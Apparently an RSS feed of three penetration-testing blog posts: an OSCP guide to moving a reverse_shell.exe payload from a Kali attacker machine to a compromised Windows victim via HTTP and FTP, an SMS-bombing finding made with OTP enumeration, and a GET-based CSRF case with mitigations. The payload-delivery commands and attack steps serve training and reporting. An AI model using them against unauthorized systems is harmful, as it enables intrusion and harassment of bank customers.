            <pubDate>Wed, 19 Jun 2019 07:15:44 GMT</pubDate>
            <atom:updated>2019-06-19T07:25:14.759Z</atom:updated>
            <content:encoded><![CDATA[<p>This article is basically for all those people who are working in Infosec. Because when as an Infosec you work in any organization, the organization (obviously SOC guys!) restricts you/ will make your work more difficult. Few of the difficulties such as accessing files, installing software on your system, accessing the internet, restricted use of emails, restriction on the use of shared folders and transferring files between machines. Sometimes it is very annoying when you want to finish your work as soon as possible you can but you are stuck at the point where you can not transfer a file from one PC to another to complete the task because of policies of the organization. In that case, you should be smart enough to know more than one or two ways of file sharing methodologies. Today, I am going to share some of them widely used by Infosec community, especially Offensive Community.</p><p>This article is dedicated to all my friends, colleagues who are OSCP (Offensive Security Certified Professional) aspirant and looking for end to end, top to bottom, consolidated at one place methods of sharing files to another computer from their own Kali Linux Machine. In OSCP, file transfer comes in the picture once you have access to the remote machine, and you want to exploit it further for taking highest level privileges. Thus, instead of searching for different places on internet and books to get different ways, I have consolidated almost all the methods (methods which are simple and you don’t need to write any script for it) required to transfer files to victim’s machine. I have given emphasis to make sure readers should understand each and every aspect (simple to difficult steps) in one-time reading.</p><p>Basically, there are five ways I am going to explain today. Before starting, I want to give you the preamble to understand this write-up better.</p><p><strong>Attacker’s Machine:</strong> Your local machine (Linux Machine). <br> This is the Kali Linux machine, the attacker is using it to perform an attack.</p><p><strong>Victim’s Machine:</strong> Remote computer. <br> This is the remote machine which belongs to a victim. It is Windows XP/Windows 7, an attacker has got some level of access to it.</p><p><strong>File Transferred:</strong> reverse_shell.exe <br> This is the file we are going to transfer as an example from the Attacker’s machine to a Victim’s machine.<br> For every protocol (every method that I am going to share), we are going to learn it in two phases A and B.</p><p><strong>Step A: Setting server on the Attacker’s machine </strong><br> I am going to explain what are the prerequisites you should have to set a server (to host a server). Many times it is possible that server we want to use has no setup or not installed on the attacker’s machine. In this step, I will explain how to gather information to find whether server set up is there on the machine installed or not. If not installed, what to do and how to install.</p><p><strong>A.1: Finding a local directory of the server </strong><br> A local directory is a place where you will keep all the files/payloads that you want to transfer to the victim’s machine. When you want to transfer files to the victim’s machine from the attacker’s machine using any protocol, first you need to keep all those files at one place (known as a local directory of a server) so that you can access them from the remote machine.</p><p><strong>A.2: Starting/ Running Server </strong><br> This is the next step. Once the server is installed and available to run. In this step, I will explain commands to run and start the server.</p><p><strong>Step B:</strong> <strong>Downloading files on Victim’s machine</strong> <br> This will be the final step. In this step, I will explain, how to download files to the victim’s machine from the attacker’s machine.</p><p>Following are the methodologies used for file transfer,</p><p>However, in PART: 1, we will see the first two. To read the remaining methods, please visit: <a href="https://medium.com/@dr.spitfire/ocsp-file-transfer-recipe-for-delicious-post-exploitation-a407e00f7346?sk=cb690ce087469c9effbc699d6b1b1370">https://medium.com/@dr.spitfire/ocsp-file-transfer-recipe-for-delicious-post-exploitation-a407e00f7346?source=friends_link&amp;sk=cb690ce087469c9effbc699d6b1b1370</a></p><p>HTTP is known as HyperText Transfer Protocol. It runs on port 80. Transferring files using the HTTP protocol is pretty straight forward.</p><p><strong>Step A: Setting a Server on the Attacker’s Machine</strong></p><p>As I mentioned earlier, I will share step by step procedure. Thus, the first step is finding the local directory and storing all the files that we want to transfer to the victim’s machine into that local directory of the server.</p><p><strong>A.1: Finding a local directory of a server</strong></p><p>Here we are going to use an Apache server. Apache server comes by default in Kali Linux. Thus, no need to install anything. All you need to do is starting/running it. However, the default local directory for Apache web server is located at /var/www/html. Thus, you need to keep all those payloads/files you want to transfer to the victim’s machine in this local directory. As shown below, I have kept my file “reverse_shell.exe” in that local directory. <br> Use dir command to see all the files/folders.</p><p><strong>root@kali:~# cd /var/www/html</strong> <strong>root@kali:~# dir</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*OM9UP0_O2D1pGOoA.PNG" /></figure><p><strong>A.2: Starting/ Running a server</strong></p><p>As I mentioned earlier, Kali Linux comes with default Apache server. All you need is one command to run it. Hit the below command in Kali terminal and your Apache web server will be running,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*LDGtAOGn3LBr4Jz7.PNG" /></figure><p>Please note, the IP Address where I have started Apache web server is 192.168.1.14</p><p><strong>Step B: Downloading Files on Victim’s Machine</strong></p><p>The very easy step is now to download the files on a victim’s machine. Here I am considering, you have gain access to the victim’s machine and you can access the browser. Open the browser on victim’s machine and type below URL,</p><p><a href="http://ip_address_of_attacker&/#39;s_Machine/reverse_shell.exe"><strong>http://IP_Address_Of_Attacker&#39;s_Machine/reverse_shell.exe</strong></a></p><p><a href="http://192.168.1.14/reverse_shell.exe"><strong>http://192.168.1.14/reverse_shell.exe</strong></a></p><p>You will be able to save the file on the victim’s machine. Please refer below screenshot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*BwDFYqBrF9xlIAwQ.PNG" /></figure><p>Thus, described above is the simple way of transferring files between machines using the simple HTTP protocol.</p><p>2. Using FTP Protocol <br> FTP is known as File Transfer Protocol. FTP protocol uses port number 21.<br><strong>Step A: Setting a Server on the Attacker’s Machine </strong><br> Setting a server using FTP is as simple as HTTP. In the case of FTP, there is more than one way of starting/setting a server in Kali Linux machine. And depending on the way I am setting a server, my local directory will change. So, the first method is using Python’s ftpd library server and the second way is using Metasploit’s auxiliary module of FTP. We will see one by one.<br><strong>A.1: Finding local Directory of Server. </strong><br> In the case of the FTP protocol, the local directory will change according to the place where you will start the FTP module. If you are using Python’s FTP Server Library known as “pyftpdlib” in Kali Linux, it will be at the place where you are starting the module of Python. If you are starting a module at the root directory, the local directory will be the root directory of Kali Linux machine, /root/, if you are starting the module at some location like, /root/documents/ then the local directory will be /root/documents. I will try to clarify it better by the below examples and screenshots.<br><strong>Starting Python FTP Server Library module at /root directory: </strong><br> In order to run pyftpdlib module, first, you need to check whether that module is installed on my machine or not. Even if python is installed on your Kali Linux, does not mean this module will be there. Python does not come with the pyftpdlib module by default. In order to check any module/file, we can use the locate command. Please refer below screenshot.<br><strong>root@kali:/# locate pyftpdlib</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*uq_uL7S0HlQL7-ZJ.PNG" /></figure><p>If it is installed, you will get many files/libraries names showing the module name in the output of the command in the terminal. If the pyftpdlib module is not installed, you can install it using below commands,<br><strong>root@kali:~# apt-get install python-pyftpdlib </strong><br> While installing any module, Kali Linux installs some files/ other packages that are not needed on your machine after the installation of the respective module. You can remove it using below command,<br><strong>root@kali:~# apt autoremove </strong><br> I suppose you have Python’s ftpdlib module installed on the machine. So to check for the local directory where we can keep the files that we want to send to the victim’s machine, we will run the server and check the local directory from the victim’s machine. Basically, this step will come when we are logged in using anonymous user and we are connected using FTP. At that time, from victim’s machine, we can check what is the local directory of this FTP server and what are the files kept in it.<br> But I will explain it briefly here,<br> To start the server from the root directory of Kali Linux, use below command,<br><strong>root@kali:~# python -m pyftpdlib -p 21</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*HcE1j5heBkDq9Rwv.PNG" /></figure><p>Now, check from the victim’s machine where is the local directory for the respective FTP Server. To check, take the connection from victim machine and use dir command. <br><strong>C:\WINDOWS\system32&gt;ftp IP_Address </strong><br><strong>C:\WINDOWS\system32&gt;ftp 192.168.1.14 </strong><br> Login using anonymous:any_password. Check the directory. Please refer below screenshot. Given below is the screenshot from victim’s machine displaying local directory as /root directory of Kali Linux machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*DHfIoFLCgwSXQlI0.PNG" /></figure><p>Now, we will change the location from where we had started the ftpdlib server. And accordingly, the location of the local directory will change.</p><p>To change the directory in Kali Linux we use the cd command. I changed to the following directory and started the Python ftpdlib server at that location. Even I have listed all the folders/files at the respective location where I am starting the tftpd server. Please refer below screenshot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*8npuoJXGjk36R-df.PNG" /></figure><p>Let me show you the directory where I am supposed to keep files has been changed. I can verify using dir command from the victim’s machine. Please refer below screenshot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*IOwNQVuoPIo63J6Z.PNG" /></figure><p>Thus, in case of starting and running server using Python’s ftpdlib, we are clear that the local directory where we are supposed to keep files that we want to transfer to the victim’s machine changes with the location where we are starting the ftpdlib. Hence, before starting the ftpdlib module, go to the respective location where you have kept all the data to be transferred on a remote machine, and run the Python’s ftpdlib.</p><p><strong>Starting Metasploit’s FTP Module at root directory:</strong></p><p>However, this is not the case when you use FTP auxiliary module of Metasploit. When you use the FTP auxiliary module of Metasploit, you can specify the local directory explicitly. Please refer below commands,</p><p>Start Metasploit using below command,</p><p>Set the port, IP and local directory here.</p><p>Now, I have explained the different ways of finding and keeping files in the local directory. And even I have given the idea about how to set a server and start it to make it accessible from the victim’s machine. Let me explain briefly, how to run the server.</p><p><strong>A.2: Starting/ Running a Server</strong></p><p>Starting and running a server using Python ftpdlib module is very simple and easy. Use below command to start a server.</p><p><strong>root@kali:~# python -m pyftpdlib -p 21 </strong>(You can specify any port number. However, 21 is default).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*2diAIk6b5LMDopaW.PNG" /></figure><p>Starting and running a server using Metasploit’s FTP module is also very simple. Follow below command,</p><p><strong>msf &gt; use auxiliary/server/ftp</strong></p><p><strong>msf auxiliary(server/ftp) &gt; options </strong>(set port, IP address, and directory)</p><p><strong>msf auxiliary(server/ftp) &gt; set TFTPROOT /root/usr </strong>(/root/usr is a root directory I have set to keep files).</p><p>msf auxiliary(server/ftp) &gt; run</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*5Woq3BwtgAXuH94m.PNG" /></figure><p><strong>Step B: Downloading Files on Victim’s Machine</strong></p><p>Downloading files on the victim’s machine using FTP is as simple as other methods we have seen. Start FTP on the victim’s machine. Login using Anonymous user and any password. Use get command to download the file from the attacker’s machine to the victim machine.</p><p><strong>C:\WINDOWS\system32&gt;ftp IP_Address</strong></p><p><strong>C:\WINDOWS\system32&gt;ftp 192.168.1.14</strong></p><p><strong>FTP&gt; get reverse_shell.exe</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*Vnum1old1kTA8ubo.PNG" /></figure><p>After get command, you will have the reverse_shell.exe file on the victim’s machine. Location of the reverse_shell.exe file will be the same from where you have started FTP.</p><p>Please visit below link to read PART 2 of this write-up!</p><p>Link: <a href="https://medium.com/@dr.spitfire/ocsp-file-transfer-recipe-for-delicious-post-exploitation-a407e00f7346?sk=cb690ce087469c9effbc699d6b1b1370">https://medium.com/@dr.spitfire/ocsp-file-transfer-recipe-for-delicious-post-exploitation-a407e00f7346?sk=cb690ce087469c9effbc699d6b1b1370</a></p><p>You can follow me on Twitter: <a href="https://twitter.com/Wa_sim_sim">https://twitter.com/Wa_sim_sim</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=832331cffd9f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Whoa! This is not a vulnerability ]]></title>
            <link>https://medium.com/@dr.spitfire/whoa-this-is-not-a-vulnerability-3450843af72b?source=rss-9fab81879ce9------2</link>
            <guid isPermaLink="false">https://medium.com/p/3450843af72b</guid>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[android-security]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[web-security]]></category>
            <dc:creator><![CDATA[InfoSec Brothers]]></dc:creator>
            <pubDate>Wed, 19 Jun 2019 07:01:45 GMT</pubDate>
            <atom:updated>2019-06-19T07:07:17.774Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Whoa! This is not a vulnerability 😠</strong></p><p>Welcome to SPITFIRE’s Blog!</p><p>From the title, you might have got an idea about what this write up is about. Yes, readers who think “whoa! this is not a vulnerability (with anger)”, are the words of an application developer; you are right! When you perform a penetration testing for any organization, you will be working in association🤝 with Web Application Developers, Software Engineers, Android Developers, Mobile Application Developers, different application vendors and last but not least SOC guys. Trust me, none of them is going to like you😞. Because this is a human tendency, if they are working hard to build an application and you are finding flaws in it, what else reason do they need to dislike you? If they are pushing their efforts to a next level, day and night, to release an application before the deadline, and you keep them waiting䷄ for security approval for more than 3 months of the deadline, why won’t they hate you? Thus, there is a lot of chaos between the InfoSec team and development team, many of you might be familiar with it.</p><p>I came across the same situation many times, but the one I am going to tell you here is a little bit interesting⌘. I was testing an application developed by French guys. For the record, I would like to tell you, that was one of the secure application I have ever tested in any organization. I did not find any findings for the first two days, even penetration testers who tested the same application before me could not find any findings. Point to be noted here is, I am calling it as a “findings”, not “vulnerabilities”. Because findings don’t necessarily come with security risk, but they might come with business risk. Like they are something that may harm business regarding finance, reputation etc. And in my opinion, that is the main difference between a “Bug Bounty Hunter⚔” and a “Professional Penetration Tester⦿”. A bug bounty hunter will generally focus on vulnerabilities that will allow him/her to get a big pay cheque. He/She will work and join those programs which are new to bug bounty programs and are offering a good amount of money to find a bug. He/She will barely bother about a business requirement, business logic, application flow or something that may cause the business loss financially and reputationally. However, this is not the case for all the bug bounty hunter. Some professional penetration testers (part-time bug bounty hunters) who are working for the security, not for only money is focussing on all the approaches of security testing. A professional penetration tester will always focus on all these aspects. He/She will not just try to find vulnerabilities in the application using OWASP methodologies or SANS methodologies, but he/she will surely try to understand the application flow, working of an application he/she is testing, business requirements, business logic and functionality of every single request and response.</p><p>So, here is the story. While performing a penetration test, on the forgot password page, I noticed when a user enters a Client Number that is registered with the account to reset his/her password, that user gets One Time Password on his/her registered mobile number. So it was like enter correct Client Number, get OTP, enter correct OTP and change the password. However, when you enter a wrong Client Number, that does not have any account associated, you will get a message on the screen, “please contact our nearest branch to open an account with us”. If you enter Client Number that is in an invalid format, an application will throw an error accordingly. I also observed that there was a client-side validation where the user cannot ask for another OTP before 30 seconds. There was no limit on how many SMS user can ask before blocking his/her account. Here it ends my information gathering part.</p><p>If you have worked as a bug bounty hunter or professional penetration tester, you might have got an idea about the finding I have got here. There were two findings, the first one is Client Number enumeration and another one is request as many SMS as you can. I made an attack scenario using these two findings and reported them under the name “SMS Bombing — Finacial Loss”. As it was reported under HIGH severity, Cheif Information Security Officer stopped the release of an application. Here come the trouble and anger of application developers. Very next day, all the team members and the project manager came to my office and denied the security risk of the finding. Even though my report was excellent and convincing, they told me this is not a vulnerability and it is a business requirement.</p><p>I am telling you when you give any findings in the “Penetration test” report, you are accountable for everything in it. You are the one who needs to prove the security/business risk of that finding. There was a high-level meeting with CICO, project managers where I was asked to present the attack scenario and the potential threat of that finding. I made a presentation and the next day, I was ready to perform a real-time attack during the presentation. Below is the summary of the presentation and steps to produce that finding.</p><p><strong>Ultimate Attack Scenario:</strong></p><p><strong>Step1: </strong>Application was using 9 digits Client Number and Client Number enumeration was possible. So I used the Burp proxy tool’s payload in the intruder to get the Client Number’s of 20 customers of my client, say Natheland Bank (Because of privacy, I won’t disclose name; however, this finding is not there anymore😉)</p><p>Visit Forgot password page as shown below, cannot disclose the client URL or anything, so I am going to use hoaxed screenshots.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/496/0*UTmtsSdYb9O4KYsz.PNG" /></figure><p>Enter any Id in a valid format with 9 digits, as shown below,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*z6qiyMvX1XeNF5T2.PNG" /></figure><p>After entering 9 digits Client Number; if you get following error, the customer is not registered with Netherland Bank.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*i3YBBQSgQ1A841p1.PNG" /></figure><p>If entered Client Number is Netherland Bank’s customer, it will send him the OTP and forward you to enter OTP page. See below screenshot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/0*za2Q1BHkWVSBJgUV.jpg" /></figure><p>The thing to notice here is, there is a time of 30 seconds. Before 30 seconds, the user cannot ask for another OTP. However, this is a client-side validation only, in a while I will show how to automate the attack even though there is a time limit.</p><p>To get the client numbers of 20 customers, I entered client number and sent a request in an intruder. Selected position to hit the payload as shown below,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*6EV_Gmy3yDrV3eEf.PNG" /></figure><p>As it was a test environment, and I was performing Grey Box testing, I had access to the admin portal. So I knew the registered user’s client numbers. I put those numbers in the starting of my payload and fired payload as shown below. Response code “200” was the successful response of OTP sent.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*H-JGOnG7r6YPhWea.PNG" /></figure><p>From here I got all 20 client numbers. I was ready with my sword in the air😎</p><p><strong>Step2:</strong> Click on Resend (ask for another OTP after 30 seconds), capture the request and send it to the intruder, select payload position as a random number (I select Mozilla agent 5 and hit the payload till it becomes 1000). As shown in below screenshots,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*reBZK-awhxg-ZQhl.PNG" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*rnJnkelrBb6Lagkr.PNG" /></figure><p>A set timer in Burp (known as Throttle, Intruder-&gt;Options-&gt;Request Engine-&gt;Throttle) where you will instruct the intruder that wait for 30 seconds before sending next request. I had set throttle timer of 31 seconds.</p><p>The project manager who was sitting there started getting SMS after every 30 seconds. I was like,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/360/0*ovmaLzSlvaYCz-gc.jpg" /></figure><p><strong>Step3:</strong> Repeat step 2 for all the 20 Client Numbers using automated tool or script. All the 20 customers of Netherland Bank will receive an SMS/OTP from Netherland Bank every 31 seconds.</p><p>“Point to mention here is, there was no limit on how many times a customer can ask for an OTP”.</p><p>I presented my attack scenario to the management. The project manager asked me what is the security risk here?</p><p>I was like, what the FUKC, you are still not believing me? It’s okay!!!!!!!!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*hY09aTH6fPPDySLq.jpg" /></figure><p>So my next job was to tell them the impacts of that finding. I was ready with my next slide. I presented them the impact that was something like this.</p><p><strong>1.</strong> Using information gathering skills, an attacker will gather Client numbers of as many customers as he/she can. Say attacker was successfully able to enumerate client numbers of 1000 customers.</p><p><strong>2.</strong> Send the SMS to all the 1000 customers every 30 seconds. They will be worried that their Bank account is under attack as they are not requesting OTPs and they are getting SMS every 30 seconds from Netherland Bank.</p><p><strong>3.</strong> All the 1000 customers will panic and everyone will discuss it with each other. This will lead to an idea that Netherland bank is under cyber attack. It will cause reputational damage.</p><p><strong>4.</strong> To send 1 SMS to the customer, the average charge Netherland bank pay is $ 0.011. An attacker is requesting 2 SMS in one minute, it means approx 3000 SMS in one day. For all 1000 customers, 3 million SMS in one day. That means $ 33k in one day.</p><p><strong>5.</strong> If an adversary writes a script to bypass the client side validation that prevents a user from sending a request for another OTP before 30 seconds, the adversary can ask an OTP every second. It means the loss per day will be 33*60k USD. I won’t talk about the loss any organization might face in Share Market after the cyber attack.</p><p>We provide the security to save any organization from a financial loss. If this finding leads to that financial loss, it may be or may not be a security vulnerability; but, surely it is a potential threat to an organization. That is why I mentioned it as a finding. That is why when penetration tester submits a report, he/she calls them findings, not vulnerabilities.</p><p>Everyone in the conference hall was convinced that it is a business risk. I was appreciated for the finding and YEAH!!!!!!!, I got the apologies from application team as well😌. When the project manager said “Nice job, I am sorry”, I was like,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*dH-yEKqxjMq997L2.jpg" /></figure><p>Let’s discuss the prevention measures that should be taken by every organization to prevent such types of attacks.</p><p><strong>A:</strong> To reset a password, do not just take one input and send OTP/Email to reset the password. Implement a web page in a way that will ask more than one input such as Client Number/User Id/National Id with ATM card number, ATM Pin and Date of Birth.</p><p><strong>B:</strong> Implement CAPTCHA on the same page so that it will prevent automation by which user/adversary can enumerate all the Ids using automated tools such as Burp Proxy’s intruder.</p><p><strong>C:</strong> Set the limit on the max number of OTPs a user can ask before blocking his/her, mention it on the website as well.</p><p>I hope all of you readers have liked my write-up. Please comment below to get the response for your doubts from SPITFIRE😎</p><p>You can follow me on Twitter: <a href="https://twitter.com/Wa_sim_sim">https://twitter.com/Wa_sim_sim</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*I_uf4_iaE_5HA88-.jpg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3450843af72b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A BADASS FRIEND AND A CSRF ATTACK!]]></title>
            <link>https://medium.com/@dr.spitfire/a-badass-friend-and-a-csrf-attack-4bdadbb393c3?source=rss-9fab81879ce9------2</link>
            <guid isPermaLink="false">https://medium.com/p/4bdadbb393c3</guid>
            <category><![CDATA[csrf]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[web-application-security]]></category>
            <dc:creator><![CDATA[InfoSec Brothers]]></dc:creator>
            <pubDate>Wed, 19 Jun 2019 06:25:28 GMT</pubDate>
            <atom:updated>2019-06-19T06:25:28.794Z</atom:updated>
            <content:encoded><![CDATA[<p><strong><em>A BADASS FRIEND AND A CSRF ATTACK!</em></strong></p><p><strong>Welcome to SPITFIRE’s Blog!</strong></p><p>Today we are going to discuss the CSRF attack where an adversary (that’s meeeee!) was able to perform an attack with the devastating impact on the business and the end user. Before going into the details of how the attack was carried out and what was the impact of that attack, let we first work a little bit for all the novice people in the InfoSec who will read this article. Let we understand in the first place that WHAT IS CROSS SITE REQUEST FORGERY?</p><p>So, with a basic scenario, I will try to explain to you the CSRF vulnerability. Your best friend is also there on FACEBOOK but he is not in your friend list as both of you are an egoist and you want to see who sends a friend request in the first place😑. Consider, you are logged in into your FACEBOOK account. The same friend of yours sends you an email with one link in it and you open that link in the new tab/window on the same system where you are logged in into your FACEBOOK. The link redirects you to the FACEBOOK and “dadada😂”…….. what you see, you ended up sending him a friend request. That badass must be working in the InfoSec😒.</p><p>Your friend attacked you with CSRF’s bullet!</p><p>Thus, from the above example, you might have got the idea of a CSRF attack and an essential requirement to perform a CSRF attack. CSRF attack is an attack, where adversary tricks a legitimate user to perform the task he does not want to perform or he is not aware of the task he is doing. CSRF attack is also known as XSRF, Sea surf or Session Riding. There is an essential condition for a successful CSRF attack and that condition is, USER, MUST BE LOGGED IN!</p><p>A successful CSRF attack can be devastating for both the business and the end user as I mentioned earlier. It can result in damaged client relationships, unauthorized fund transfers, changed password (if an application does not ask for old password) leading to full account control and data theft- including stolen session cookies. CSRFs are typically conducted using malicious social engineering, such as an email or link that tricks the victim into sending a forged request to a server. As the unsuspecting user is authenticated by their application at the time of the attack, it’s impossible to distinguish a legitimate request from a forged one. Below is the graphical simulation of the CSRF attack.</p><p>So, let’s discuss how I was able to perform a successful CSRF attack on one of the biggest Mobile Wallet companies. I am not allowed to have the disclosure of the vulnerability thus we will consider it as a <strong>https://mobilewallet.com</strong> as a vulnerable website.</p><p>The functionality (where I found this bug) of the web application was to provide corporate services to multinational companies. There was one admin account who will be responsible for all the transactions between employees of that organization. Admin will take care of the things like adding new employees to the group where he can transfer the funds, deleting employees who left the organization, managing any trouble employee is having with his wallet and so on. I tried if I can add or delete the employee under the group created by admin on his behalf. So here are the steps to reproduce the vulnerability.</p><p><strong>Step 1: </strong>I logged in as an admin to the portal. Say <strong>https://</strong><a href="http://www.mobilewallet.com/"><strong>www.mobilewallet.com</strong></a>.</p><p><strong>Step 2: </strong>I added/deleted the employee from the admin account and capture the request using the Burp proxy tool. It was CSRF based on GET request, not POST request. Thus right click on the request and copy the URL of the request. In case of POST based CSRF, you need to generate a CSRF PoC using Burp proxy tool. I will discuss it in the next write up.</p><p><strong>Step 3: </strong>Given below is the URL that I got.</p><p><a href="https://pay.mobilewallet.com.eu/deleteEmp.do?empToDelete=3497&amp;2d990504=ab6214d7-ba47-4aeb-934d-aa5de0dad653"><strong>https://pay.mobilewallet.com.eu/deleteEmp.do?empToDelete=3497&amp;2d990504=ab6214d7-ba47-4aeb-934d-aa5de0dad653</strong></a></p><p><strong>Step4: </strong>It was undeniable that “ToDelete” parameter passed in the URL is the parameter that is causing deletion of an employee from the respective group. Thus, just send this URL and there will be the deletion of another employee from the group. Here we don’t even need to change the parameter value for “ToDelete” parameter, value=3497 is assigned to another employee in the group. Thus, if adversary sends the same URL to admin using any social engineering technique and admin clicks on that URL when he is logged in to the portal, he/she will end up deleting the employee without his/her knowledge.</p><p><strong>Step5:</strong> You will see below notification after a successful execution of the link by the admin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*xWbCNpQqn1-QF624.png" /></figure><p>So far, I have discussed CSRF vulnerability, it’s impact and how to test the GET-based CSRF vulnerability.</p><p>What if you are working as a Penetration Tester in XYZ organization and you reported this vulnerability. Definitely, just reporting the vulnerability does not mean your work is over. You need to discuss this with the business that how they can apply the patch to prevent the CSRF attack on them. <strong>“Bhai Aaya Hai, Batakr Jaaega😉”, </strong>credit to <strong>Sakht Launda!</strong>.</p><p><strong>Following are the preventive measures as per OWASP and top security researchers:</strong></p><p><strong>1: Apply CSRF tokens also known as X-XSRF tokens. Just applying CSRF tokens cannot fix the CSRF vulnerability. Make sure there is proper implementation of CSRF tokens as per following rules.</strong></p><ol><li>Apply request based CSRF tokens instead of session-based CSRF tokens. In my opinion, this is the best💪 way to prevent CSRF attacks.</li><li>Make sure, CSRF token leakage is not possible on the application. As the attacker might use leaked/unused CSRF tokens to perform an attack.</li><li>To avoid token leakage, send the CSRF token in the separate header or in the POST body of a request, not in the cookie of the request.</li><li>Make sure the application does not accept blank value as a CSRF token.</li><li>Make sure application validates the actual token, not the length of CSRF token. Many application just validates the length of the CSRF token. The attacker will calculate the length of the CSRF token and will use any random token with the same length as a CSRF token to perform an attack.</li><li>If any request without valid CSRF token comes, kick out the user out of the application😌.</li><li>Most important, in an organization where I am working, I always recommend request based CSRF tokens. Implementing request based CSRF token does not only completely prevents CSRF, possibilities of attack using leaked CSRF tokens; But, it also prevents attacks such as session hijacking, session fixation, and many of the session related attacks.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*u_Vj98iKyx06-wz_.png" /></figure><p><strong>2. Use the CAPTCHA where the application has crucial functions such as change password, fund transfer, add/delete something from the application, approval of requests, changing privileges of the other users in the portal and so on.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/343/0*h_yLZ1uPjmqoJgTU.jpg" /></figure><p>I hope all of you readers have liked my write-up. See you, soon!</p><p>You can follow me on Twitter: <a href="https://twitter.com/Wa_sim_sim">https://twitter.com/Wa_sim_sim</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/320/0*O1XXBYqdX8rIFv2e.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4bdadbb393c3" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>